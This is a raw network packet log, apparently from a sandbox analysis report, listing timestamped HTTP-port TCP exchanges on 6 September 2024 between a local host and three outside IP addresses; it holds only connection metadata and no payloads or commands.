Sep 6, 2024 08:17:06.370198965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370214939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370218039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.370228052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370239019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370240927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.370250940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.370254040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.370279074 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.370292902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.374747992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374758959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374768972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374788046 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374798059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374798059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374810934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374829054 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374830008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374855995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374864101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374874115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374876022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374885082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374896049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374907017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374923944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374952078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374955893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.374968052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374979019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.374988079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375006914 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375032902 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375340939 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375380039 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375416040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375426054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375436068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375446081 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375456095 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375468016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375484943 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375535965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375546932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375552893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375562906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375571966 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375574112 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375588894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375590086 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375602007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375612020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375614882 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375622988 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375629902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375642061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375644922 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375653028 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375680923 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375725031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375741005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375751972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375761986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375766039 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375773907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375782967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375804901 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375812054 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375819921 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375850916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375886917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375897884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375937939 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375943899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375953913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375963926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375984907 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.375984907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.375997066 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376002073 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376007080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376019001 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376028061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376046896 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376075983 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376420975 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376450062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376460075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376477957 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376492977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376502037 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376514912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376526117 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376535892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376554012 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.376562119 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376585007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376614094 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.376986027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377003908 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377015114 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377037048 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377063036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377073050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377084970 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377095938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377106905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377109051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377126932 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377151012 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377434015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377453089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377464056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377480984 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377499104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377512932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377527952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377545118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377552986 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377556086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377567053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377578020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377583981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377588987 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377614021 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377635956 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377662897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377675056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377685070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377703905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377736092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377737999 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377748966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377758980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377769947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377774954 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377780914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377793074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377815008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377824068 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377834082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377835035 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377845049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377856970 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377870083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377890110 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.377921104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377964973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377981901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.377991915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.378002882 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.378005981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.378017902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.378029108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.378030062 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.378041029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.378052950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.378067017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.378092051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.384103060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384145021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384145975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384156942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384176016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384183884 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384187937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384196997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384201050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384217024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384223938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384224892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.384247065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.384260893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.395931959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.395978928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.395979881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.395991087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396020889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396034002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396042109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396054029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396065950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396076918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396083117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396092892 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396120071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396142960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396172047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396183968 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396193981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396194935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396203041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396224976 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396236897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396265984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396281958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396295071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396302938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.396307945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396330118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.396361113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.410276890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410295010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410306931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410322905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.410356045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.410449982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410460949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410474062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410489082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.410489082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.410515070 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.410538912 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.414778948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414825916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414835930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414865971 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.414882898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414887905 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.414894104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414905071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414916992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414927959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.414930105 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.414948940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.414973974 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.421005964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421016932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421027899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421097994 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.421144962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421155930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421166897 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421179056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421192884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.421267986 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.421768904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421781063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421791077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421830893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.421847105 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.421906948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421917915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421928883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421941042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421947956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.421952963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.421973944 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422003984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422190905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422203064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422214031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422230005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422236919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422244072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422260046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422266960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422271013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422282934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422293901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422302961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422307014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422316074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422316074 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422329903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422347069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422373056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422662973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422674894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422686100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422697067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422714949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422724962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422728062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422734976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422748089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422749043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422764063 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422764063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422777891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422786951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422796965 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422800064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422811031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422822952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422827959 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422837019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422847986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422849894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422861099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422890902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422895908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422907114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422920942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422930956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422941923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422945023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422960043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.422960043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422974110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422985077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.422986031 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423005104 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423012972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423032045 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423032045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423046112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423062086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423086882 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423142910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423155069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423166990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423177958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423183918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423194885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423204899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423240900 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423352957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423366070 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423377037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423388004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423397064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423419952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423445940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423505068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423516035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423526049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423537016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423543930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423551083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423562050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423563004 CEST	49734	80	192.168.2.4	176.113.115.33
